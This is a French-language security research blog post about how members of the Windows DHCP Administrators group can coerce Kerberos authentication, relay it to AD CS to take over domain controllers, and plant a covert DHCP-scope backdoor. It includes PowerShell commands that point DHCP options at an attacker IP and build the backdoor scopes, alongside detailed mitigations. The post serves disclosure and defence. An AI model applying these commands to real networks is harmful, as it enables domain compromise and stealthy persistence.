Utilisation abusive du groupe d'administrateurs DHCP pour élever les privilèges dans les domaines Windows
Commentaires éditoriaux et additionnels de Tricia Howard
Synthèse
Les chercheurs d'Akamai ont découvert une nouvelle technique d'élévation des privilèges affectant les environnements Active Directory (AD) basée sur l'exploitation du groupe d'administrateurs DHCP.
Dans les cas où le rôle de serveur DHCP est installé sur un contrôleur de domaine (DC), cela pourrait leur permettre d'obtenir des privilèges d'administrateur de domaine.
La technique est basée sur l'utilisation abusive de fonctions légitimes et ne repose sur aucune vulnérabilité. Il n'existe donc pas de solution à ce problème.
En plus de fournir une primitive d'escalade des privilèges, la même technique pourrait également être utilisée pour créer un mécanisme furtif de persistance de domaine.
Les serveurs DHCP de Microsoft sont très populaires. Nous avons observé que 40 % des réseaux surveillés par Akamai en utilisent. Tout environnement utilisant ce serveur peut être vulnérable.
Nous proposons des étapes détaillées permettant de réduire considérablement le risque lié à cette technique, d'identifier son exploitation potentielle, ainsi qu'un moyen d'identifier la configuration qui la rend possible.
Introduction
De Google Docs à Active Directory, la gestion des accès concerne pratiquement tous les rôles au sein d'une organisation. Il est délicat de parvenir à minimiser les frustrations des employés sans ajouter de risques inutiles lorsqu'on parle de permissions et de contrôle d'accès ; il s'agit d'un problème dont les équipes de sécurité sont particulièrement conscientes.
Ainsi, l'accès « juste suffisant » est un élément essentiel de toute stratégie d'accès. La situation se résume à ceci : Chaque utilisateur doit se voir accorder un ensemble de privilèges nécessaires à l'accomplissement de ses tâches, mais ces privilèges doivent être aussi limités que possible à tous les autres égards. Cela peut réduire l'impact de la compromission d'un seul utilisateur, en empêchant les mouvements latéraux et l'exploitation supplémentaire.
Bien qu'elle permette d'éliminer le plus de risques, la gestion de l'accès identité par identité n'est ni réaliste ni faisable, en particulier au niveau de l'entreprise. À l'inverse, les groupes d'accès des utilisateurs fournissent des autorisations généralisées basées sur la fonction – concept que l'on retrouve le plus souvent dans AD. Par exemple, Microsoft propose le groupe « Admins DNS », qui est un groupe AD chargé de la gestion des serveurs DNS. Conformément au principe de l'« accès juste suffisant », ses membres n'ont pas d'autorisations sur la machine hébergeant le serveur DNS, mais uniquement pour la configuration liée au service DNS.
Si tout cela fonctionne en théorie, en pratique, c'est une autre histoire. En 2017, les recherches de Shay Ber ont démontré comment les membres du groupe « Admins DNS » pourraient abuser d'un des privilèges du groupe pour exécuter du code sur les serveurs DNS, ce qui entraînerait presque toujours une escalade des privilèges vers les administrateurs de domaine.
Microsoft DHCP fournit un groupe de sécurité similaire appelé « Administrateurs DHCP ». Tout en travaillant sur notre récente recherche sur Microsoft DHCP, la question de trouver une primitive similaire en utilisant ce groupe est venue à l'esprit : Un administrateur DHCP peut-il devenir administrateur de domaine ? Il s'avère que c'est parfois le cas.
Dans cet article de blog, nous allons aborder le groupe des administrateurs DHCP et montrer comment l'un de ses privilèges peut être utilisé de manière abusive pour compromettre les serveurs DHCP, y compris une prise en charge complète du domaine dans les cas où le serveur DHCP est installé sur un DC.
Nous montrerons également comment cette même technique peut être utilisée pour établir un mécanisme de persistance de domaine intéressant, et nous fournirons les détails pour mettre en œuvre un mécanisme de« Porte dérobée DHCP ».
Sachant que cette technique utilise des privilèges et des options légitimes qui sont à la disposition des administrateurs DHCP, il n'y a pas de solution simple comme un correctif, parce qu'il n'y a pas de vulnérabilité. Afin de réduire les risques liés à cette technique, nous avons inclus des mesures d'atténuation et de détection détaillées dans cet article de blog.
Qu'est-ce qu'un administrateur DHCP ?
Le groupe des administrateurs DHCP est un groupe d'utilisateurs AD destiné à gérer les serveurs DHCP (Dynamic Host Configuration Protocol). Il permet à ses membres d'interroger et de modifier la configuration du service DHCP sur des serveurs distants.
Important ! Ses membres n'ont aucune autorisation sur le serveur DHCP lui-même, mais seulement sur la configuration du service DHCP. Cela signifie qu'un administrateur DHCP ne doit pas pouvoir exécuter de code sur un serveur DHCP, mais uniquement modifier les configurations liées au DHCP. Les options DHCP sont l'un des réglages contrôlés par les administrateurs DHCP.
Utilisation abusive des options DHCP
Les clients du réseau ont besoin d'un ensemble de configurations pour participer à un réseau, notamment une adresse IP et un masque de sous-réseau, une adresse de passerelle par défaut et un serveur DNS, pour n'en citer que quelques-uns. Les serveurs DHCP annoncent ces configurations à leurs clients sous la forme d'options DHCP – les différentes configurations sont associées à un ID d'option défini et sont interrogées par les clients (Figure 1).
Figure 1 : Exemples d'options DHCP configurées sur un serveur DHCP
Les clients DHCP demandent les options requises et modifient la configuration de leur réseau en fonction des réponses. Avec la possibilité de contrôler les valeurs de ces options sur le serveur, chaque option demandée par un client peut potentiellement être utilisée par un pirate pour injecter une configuration malveillante.
Pour comprendre la portée d'une attaque potentielle des clients Windows, nous pouvons examiner les options demandées par défaut (Figure 2).
Figure 2 : Options DHCP configurées sur un serveur DHCP
Découverte automatique du proxy
Nous constatons que l'une des configurations demandées est la configuration « Découverte automatique du proxy » (Surlignée en bleu dans la Figure 2), qui permet de configurer automatiquement un proxy Web (WPAD). Cette option permet à un serveur DHCP de spécifier l'URL d'un fichier « wpad.dat », qui contient les paramètres proxy à utiliser par le client.
Nous pouvons configurer cette option et spécifier notre adresse comme proxy en exécutant les commandes PowerShell suivantes :
Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0
Après avoir défini cette option, nous constatons que les clients Windows reçoivent notre configuration lorsqu'ils louent une adresse auprès du serveur DHCP (Figure 3).
Figure 3 : Client DHCP recevant la configuration du proxy du serveur
Après avoir reçu cette configuration, le client DHCP se connecte à notre machine via HTTP et tente de récupérer le fichier « wpad.dat » (Figure 4).
Figure 4 : Client DHCP demandant un fichier « wpad.dat » au système du pirate
La possibilité d'usurper l'identité d'un serveur WPAD permet plusieurs attaques qui permettent de compromettre les informations d'identification du client.
Il existe d'autres options DHCP que nous pouvons cibler pour obtenir un résultat similaire. Cette capacité est certainement le fruit d'une conception et ne constitue pas vraiment un problème de sécurité. Les administrateurs DHCP peuvent, en fait, administrer le DHCP. L'impact de cette capacité peut toutefois être plus large que prévu.
Option serveur DNS DHCP
En analysant les différentes options DHCP susceptibles d'être utilisées de manière abusive, une autre a attiré notre attention : le Serveur DNS . De la même manière que pour l'attaque précédente, un administrateur DHCP peut usurper l'adresse du serveur DNS et usurper les réponses DNS afin d'atteindre une position MITM. Mais cette option ne se limite pas à cette attaque par le milieu.
Normalement, les options DHCP sont utilisées pour fournir des données aux clients qui en font la demande. Il est intéressant de noter que l'option Serveur DNS a une autre fonction : sa valeur sera utilisée comme destination des mises à jour dynamiques DHCP DNS (Figure 5).
Figure 5 : Effet de l'option Serveur DNS sur le processus de mise à jour dynamique DHCP DNS
Pourquoi est-ce intéressant ? Le serveur DNS de Microsoft et les clients DNS de Windows prennent en charge une fonctionnalité des mises à jour dynamiques appelée mises à jour dynamiques sécurisées. Lorsque cette fonction est activée (et elle l'est par défaut), les clients DNS doivent s'authentifier avant d'effectuer des mises à jour DNS sur le serveur. Cette authentification est réalisée en utilisant Kerberos sur DNS.
Avec un compte administrateur DHCP, nous pouvons contrôler l'option Serveur DNS sur le serveur DHCP et faire en sorte qu'il s'authentifie sur une adresse de notre choix. Les étapes de la Figure 6 indiquent comment cela est possible.
Figure 6 : Bail DHCP obligeant le serveur à s'authentifier auprès du client via Kerberos
Sur le serveur DHCP cible, nous configurons notre adresse IP (172.25.14.19) comme option de serveur DNS.
Depuis notre machine, nous louons une adresse IP en spécifiant l'option FQDN. Dans cet exemple, nous spécifions le FQDN « aaa.aka.test ». Cela déclenche une mise à jour dynamique DHCP DNS.
Le serveur DHCP envoie une requête DNS « Start of Authority » (SOA) à notre machine (pensant qu'il s'agit du serveur DNS). Cette requête est utilisée par le serveur DHCP pour vérifier quel serveur DNS fait autorité sur le « aaa.aka.test ».
Nous répondons à la requête SOA en indiquant que notre machine est le serveur DNS faisant autorité pour l'enregistrement « aaa.aka.test ».
Le serveur DHCP tente de créer l'enregistrement en envoyant une mise à jour dynamique DNS à notre machine. Cette tentative de mise à jour n'est pas authentifiée.
Nous refusons que la mise à jour non authentifiée déclenche une tentative d'authentification par le serveur.
Le serveur DHCP s'authentifie auprès de notre machine en utilisant l'authentification Kerberos sur DNS, mise en œuvre en envoyant une requête TKEY.
La Figure 7 illustre un exemple de capture de cette technique en action.
Figure 7 : Capture de paquets du bail DHCP et du trafic DNS ultérieur
Cette technique, que nous avons baptisée DHCP Coerce, nous accorde une primitive de coercition d'authentification Kerberos, car nous pouvons faire en sorte que n'importe quel serveur DHCP s'authentifie sur notre machine.
Vous avez des questions sur la sécurité DHCP ?
DHCP Coerce vers relais Kerberos
DHCP Coerce offre une opportunité d'attaque de relais Kerberos — nous pouvons forcer l'authentification sur notre machine, puis effectuer une attaque de relais, ce qui nous permet d'usurper l'identité du compte machine du serveur DHCP. Cela permettrait un contrôle total sur le serveur lui-même au lieu des autorisations plus limitées incluses dans le groupe des administrateurs DHCP.
Les cibles de relais Kerberos sont quelque peu limitées, mais nous disposons toujours d'une bonne option, décrite dans un article de blog publié par Dirk Jan, le relais Kerberos peut être utilisé pour cibler les services de certificats de l'Active Directory (AD CS).
Les AD CS sont un ensemble de services qui fournissent une solution ICP pour les environnements Active Directory. Dans le contexte d'AD, la principale utilisation de cette ICP est de permettre l'authentification par certificat – avec AD CS, les utilisateurs peuvent émettre des certificats pour eux-mêmes et les utiliser pour s'authentifier auprès des ressources du domaine.
L'une des méthodes d'émission de ces certificats est l'utilisation du service d'inscription en ligne — un service Web qui peut être utilisé par les clients pour demander des certificats. Par défaut, ce service est vulnérable aux attaques de relais Kerberos, car il ne vérifie pas l'intégrité des messages. Ce problème est décrit par ESC8 dans la recherche AD CS effectuée par Will Schroeder et Lee Christensen de SpecterOps.
En combinant notre primitive de coercition avec l'ESC8, nous pouvons créer une chaîne d'attaque (Figure 8) qui nous permettra de compromettre le serveur DHCP.
Figure 8 : Chaîne d'attaque DHCP Coerce Full
Utiliser un administrateur DHCP pour imposer l'authentification Kerberos à notre machine comme décrit dans la section précédente.
Utiliser Krbrelayx.py pour relayer l'authentification à AD CS et obtenir un certificat pour le compte de machine du serveur DHCP.
Utiliser le certificat pour obtenir le hachage NTLM du compte machine du serveur DHCP, une technique décrite dans la recherche de SpecterOps par THEFT5.
Utiliser le hachage NTLM pour s'authentifier en tant que compte machine du serveur DHCP et exécuter du code.
Pour une analyse plus approfondie des étapes 2 à 4, veuillez vous référer à l'article de Dirk Jan sur le relais Kerberos sur DNS en utilisant krbrelayx et mitm6 .
Pour résumer : si AD CS est utilisé dans l'environnement, un compte administrateur DHCP peut exécuter du code sur n'importe quel serveur DHCP. Aie, aie, aie.
Les serveurs DHCP sont très souvent installés sur des DC – parmi les réseaux que nous avons observés utilisant le serveur DHCP de Microsoft, 57 % ont un serveur DHCP installé sur un DC. Dans ces cas, un administrateur DHCP peut compromettre l'ensemble du domaine en reprenant le compte de la machine DC.
Une note sur l'accréditation DNS
L'attaque que nous venons de décrire repose sur le fait que le serveur DHCP s'authentifie avec son propre compte machine lorsqu'il effectue des mises à jour DNS. L'une des meilleures pratiques recommandées par Microsoft consiste à configurer un utilisateur faible avec les informations d'identification DNS pour le serveur DHCP : informations d'identification alternatives à utiliser à la place du compte de l'ordinateur lors de l'exécution des mises à jour.
Cette configuration pourrait annuler notre attaque par relais. Au lieu de compromettre le compte machine du serveur, nous obtiendrons les autorisations d'un utilisateur faible.
Heureusement pour nous, nous sommes administrateurs DHCP ! Un administrateur DHCP peut supprimer un identifiant de connexion DNS existant sans avoir connaissance de l'identifiant lui-même. La commande Remove-DhcpServerDnsCredential PowerShell pourrait être utilisée à cet effet. Après avoir supprimé l'identifiant DNS, le serveur DHCP revient à la configuration par défaut et utilise son compte machine pour effectuer les mises à jour.
Persistance du domaine DHCP
Outre l'utilisation abusive du groupe d'administrateurs DHCP pour exécuter du code sur les serveurs DHCP, la technique que nous venons de décrire pourrait être utilisée pour créer un mécanisme intéressant de persistance de domaine.
Une fois l'option Serveur DNS configurée, aucune information d'identification n'est nécessaire pour forcer l'authentification – un pirate n'a qu'à louer une adresse IP auprès du serveur DHCP. Cela peut permettre à un pirate d'effectuer une attaque DHCP coerce de l'extérieur du domaine sans aucune information d'identification.
Champ d'application de la porte dérobée DHCP
Un champ d'application DHCP est un ensemble défini d'adresses IP dans un sous-réseau spécifique que le DHCP peut louer. Les options DHCP peuvent être configurées en fonction du champ d'application, ce qui permet d'obtenir des configurations différentes pour divers sous-réseaux.
Pour effectuer une conversion DHCP, nous devons modifier l'option Serveur DNS sur l'un des champs d'application DHCP. Évidemment, nous ne voulons pas utiliser un champ d'application existant pour cela. Si nous modifions l'option DNS Server d'un champ existant, cette configuration sera transmise aux clients DHCP, ce qui causera des problèmes de communication et conduira potentiellement à la détection de notre porte dérobée.
Nous voulons plutôt créer une application dédiée, avec une plage d'adresses qui n'est utilisée dans aucun sous-réseau du réseau (Figure 9).
Figure 9 : Création d'un champ d'application DHCP de type « backdoor/porte dérobée »
Mais cette approche pose un problème, qui trouve son origine dans la logique de sélection de l'étendue du serveur DHCP. Lorsqu'un client loue une adresse IP, le serveur détermine le champ d'application DHCP à utiliser en fonction du sous-réseau source du client. Ce sous-réseau est identifié par l'interface réseau qui a reçu le message DHCP Discover (Figure 10).
Figure 10 : Sélection de la portée du DHCP en fonction de l'interface réseau
Pour déclencher la porte dérobée, nous devons louer une adresse IP à notre champ d'application malveillant. Pour ce faire, nous devons être présents dans un sous-réseau lié à ce champ. En même temps, nous voulons que notre champ d'application ne soit pas lié à un sous-réseau existant dans le réseau, afin d'éviter de rompre la connectivité des clients. Ces deux exigences sont toutefois contradictoires : si un champ d'application n'est pas lié à un sous-réseau existant, nous ne pouvons pas l'atteindre. Si c'est le cas, d'autres clients peuvent également l'atteindre. Heureusement, l'agent de relais DHCP vient à la rescousse.
Agent de relais DHCP
La fonction d'agent de relais DHCP fournit une solution à ce problème. Un agent de relais DHCP est un serveur destiné à permettre aux clients de louer des adresses IP auprès d'un serveur DHCP, même s'il n'y en a pas dans leur réseau local (Figure 11).
Figure 11 : Processus de bail DHCP avec un agent de relais
L'agent de relais écoute les messages DHCP diffusés par les clients et les transmet au serveur DHCP au nom des clients. L'agent de relais DHCP informe le serveur DHCP du sous-réseau source du client par l'intermédiaire de la fonction informations sur l'agent de relais DHCP, permettant au serveur de déterminer le champ d'application approprié à utiliser lors de la location d'une adresse IP.
Nous avons remarqué que cette fonctionnalité permet à un agent de relais DHCP de demander une adresse IP à partir de n'importe quel champ d'application, quelle que soit l'interface du serveur DHCP. Un pirate peut agir en tant qu'agent de relais et indiquer n'importe quel sous-réseau dans l'option Informations sur l'agent de relais, ce qui lui permet de louer une adresse IP à partir de n'importe quelle portée (Figure 12).
Figure 12 : Location d'une adresse IP à partir d'un périmètre spécifié en agissant en tant qu'agent de relais DHCP
Une dernière mise en garde s'impose : L'adresse IP du serveur relais doit elle-même faire partie d'un champ d'application existant sur le serveur. Cela a pour but d'empêcher les clients malhonnêtes d'accéder au serveur. Pour y remédier, nous pouvons suivre les recommandations de Microsoft et créer un périmètre dédié qui inclura notre adresse IP externe, l'autorisant illégalement à agir comme relais.
Utilisation abusive de l'option d'agent de relais DHCP
Une porte dérobée potentielle (Figure 13) se composera de 2 champs d'application :
Champ de l'autorisation. Un champ d'application qui est censé autoriser notre machine attaquante à agir en tant qu'agent de relais DHCP. Sa plage d'adresses IP comprendra l'adresse IP de notre machine attaquante externe.
- Champ d'application de la coercition. Un champ d'application qui sera utilisé pour louer une adresse IP, déclenchant une tentative d'authentification Kerberos sur notre machine attaquante. Son option Serveur DNS sera configurée avec l'IP de notre machine d'attaque externe, et sa plage d'IP peut être n'importe quelle plage arbitraire qui n'est pas utilisée dans le réseau.
Figure 13 : Conception d'une porte dérobée DHCP
Le code PowerShell suivant montre comment ces champs d'application peuvent être créés :
Import-Module DhcpServer
Add-DhcpServerv4Scope -StartRange <attacker_ip> -EndRange <attacker_ip> -Name " " -SubnetMask <mask>
Add-DhcpServerv4Scope -StartRange <coercion_scope_address> -EndRange <coercion_scope_address> -Name " " -SubnetMask <mask>
Set-DhcpServerv4OptionValue -OptionId 6 -Value <attacker_ip> -Force -ScopeId <coercion_scope_address>
Pour déclencher la porte dérobée, nous louons une adresse au serveur DHCP avec les ajustements suivants :
Nous utilisons notre adresse IP dans le champ de l'adresse IP de l'agent de relais (giaddr). Ce champ est utilisé pour informer le serveur DHCP de l'adresse IP de l'agent de relais. Cette IP doit se trouver à l'intérieur du « champ d'application de l'autorisation ».
Nous incluons l'option « Informations sur l'agent de relais », avec une adresse IP à l'intérieur du « champ d'application de la coercition ».
Dans la Figure 14, notre champ d'autorisation comprend l'adresse IP 172.25.14.18, et notre champ de coercition comprend l'adresse 66.66.66.66.
Figure 14 : Ajustements DHCP Discover en tant qu'agent de relais
Nous avons ajouté la prise en charge des agents de relais à DDSpoof, notre kit d'outils d'usurpation DHCP DNS, et créé un script de preuve de concept appelé dhcp_coerce.py qui permet l'exécution de cette attaque. Le script agit comme un agent de relais DHCP et demande une adresse IP à partir du champ d'application demandé, ce qui nous permet de déclencher la coercition d'authentification par le biais de notre champ de coercition (Figure 15).
Figure 15 : Utilisation de DDSpoof pour déclencher la porte dérobée DHCP
Atténuations
Les mesures de défense contre cette menace sont les suivantes :
Identification de la configuration DHCP à risque
Atténuation des attaques de relais contre AD CS
Pratique de l'hygiène de groupe des administrateurs DHCP
Utilisation de la segmentation pour réduire la surface d'attaque
Identification des anomalies DNS
Identification de la configuration DHCP à risque
Invoke-DHCPCheckup.ps1 peut vous aider à identifier une configuration DHCP risquée. Le risque le plus grave dans le contexte de la chaîne d'attaque DHCP coerce est l'installation d'un serveur DHCP sur un DC – configuration que nous vous recommandons d'éviter.
Exécutez Invoke-DHCPCheckup pour dresser la liste de tous les serveurs DHCP Microsoft actifs et identifier ceux qui sont installés sur les DC (Figure 16). Si possible, désactivez le service de serveur DHCP sur tous les DC.
Figure 16 : Identification d'un serveur DHCP installé sur un DC à l'aide de Invoke-DHCPCheckup
Atténuation des attaques de relais contre AD CS
Le moyen le plus efficace d'empêcher cette chaîne d'attaques est de limiter les attaques par relais contre les serveurs AD CS, ce qui empêcherait d'abuser de la primitive de coercition de l'authentification.
Le risque d'attaques par relais et la variation contre AD CS ne sont pas nouveaux et sont connus de Microsoft. La Protection étendue pour l'authentification (EPA) est une fonctionnalité qui a été introduite pour prévenir de telles attaques, mais qui n'est pas activée par défaut pour AD CS. Pour réduire le risque d'attaques par relais sur AD CS, désactivez les protocoles HTTP et activez la fonction EPA sur tous les serveurs AD CS.
Pratique de l'hygiène de groupe des administrateurs DHCP
Les membres du groupe des administrateurs DHCP peuvent potentiellement compromettre les clients et les serveurs DHCP ; ce groupe doit donc être traité comme un actif de grande valeur et surveillé en conséquence. Limitez autant que possible l'appartenance au groupe des administrateurs DHCP afin de réduire le risque de compromission d'un utilisateur administrateur. Envisagez d'utiliser un groupe d'utilisateurs DHCP plus limité lorsque cela est possible.
Utilisation de la segmentation pour réduire la surface d'attaque
Outre les mesures défensives précédentes, la segmentation du réseau pourrait être utilisée pour atténuer l'attaque et réduire la surface d'attaque, ce qui permettrait de prévenir d'éventuelles attaques similaires.
En utilisant Akamai Guardicore Segmentation, les collaborateurs en charge de la protection des systèmes peuvent :
Bloquer le trafic RPC vers les serveurs DHCP à partir de points de terminaison non administrateurs, en bloquant la possibilité de modifier les options DHCP : créer une étiquette contenant les points de terminaison utilisés par les administrateurs DHCP, puis autoriser uniquement cette étiquette à communiquer avec les serveurs DHCP sur des ports non DHCP.
Bloquer l'accès aux serveurs d'inscription AD CS pour les points de terminaison qui n'en ont pas besoin, ce qui réduit la capacité d'exécuter des attaques par relais : créer une étiquette contenant des points de terminaison qui nécessitent l'émission de certificats à l'aide d'AD CS, puis autoriser uniquement cette étiquette à communiquer avec les serveurs d'inscription Web.
Bloquer le trafic DHCP vers et depuis Internet, empêchant les machines externes de forcer l'authentification DHCP : créer une étiquette pour tous les serveurs DHCP, puis bloquer toute communication avec les adresses Internet.
Identification des anomalies DNS
L'attaque consiste à forcer le serveur DHCP à envoyer une demande de mise à jour DNS à une adresse différente du serveur DNS AD standard. Ce type de trafic est généralement statique par nature, et ce comportement est donc tout à fait anormal. Ce comportement anormal du trafic peut servir à détecter cette attaque ou toute autre attaque abusant de l'authentification Kerberos par le biais du DNS.
Pour identifier ces anomalies, créez une liste de serveurs DNS légitimes qui devraient recevoir des mises à jour DNS, soit en interrogeant AD, soit en surveillant le trafic DNS. Cette liste doit être relativement limitée et servir de référence pour le trafic légitime. Tout écart par rapport à cette liste doit faire l'objet d'une enquête, notamment s'il s'agit d'adresses Internet.
Akamai Hunt,le service géré de recherche de menaces d'Akamai, offre à ses clients une protection sous la forme d'un vaste ensemble de techniques de détection des anomalies qui surveillent constamment l'environnement pour tenter de détecter l'inconnu.
Conclusion
L'escalade malveillante des privilèges peut être catastrophique, en particulier lorsqu'elle s'appuie sur des processus légitimes. Pour le professionnel de la sécurité moderne, le fait de jongler entre des contrôles de sécurité solides et un minimum d'inconvénients pour l'utilisateur représente un dilemme majeur. Avec l'introduction de l'Internet des objets, une main-d'œuvre mobile distribuée et l'assaut constant de l'exploitation des vulnérabilités nouvelles et anciennes, il n'y a jamais eu de moment plus critique pour maîtriser votre stratégie d'accès.
Le groupe des administrateurs DHCP est un exemple frappant de ce concept. Il fournit à ses membres un ensemble de permissions solides, mais celles-ci peuvent également être utilisées de manière abusive par des pirates. Dans le domaine de la sécurité en particulier, même les fonctions les mieux intentionnées peuvent être utilisées à mauvais escient.
Les collaborateurs en charge de la protection des systèmes doivent être conscients de ce risque potentiel et traiter ce groupe avec la prudence qui s'impose. Nous espérons que cet article vous a permis de mieux comprendre le contexte et les mesures de défense contre cette menace.
En savoir plus
Pour plus d'informations sur les risques liés à Microsoft DHCP, veuillez consulter nos autres articles de blog sur le sujet :
Usurpation d'enregistrements DNS par l'utilisation abusive des mises à jour dynamiques DHCP DNS
Utilisation de l'usurpation DHCP DNS — Guide pratique
Le groupe SIG (Security Intelligence Group) d'Akamai continuera de surveiller cette menace et d'autres menaces similaires et publiera ses conclusions. Pour suivre les dernières informations sur DHCP et découvrir nos prochains articles de recherche sur la sécurité, suivez-nous sur X (anciennement Twitter).
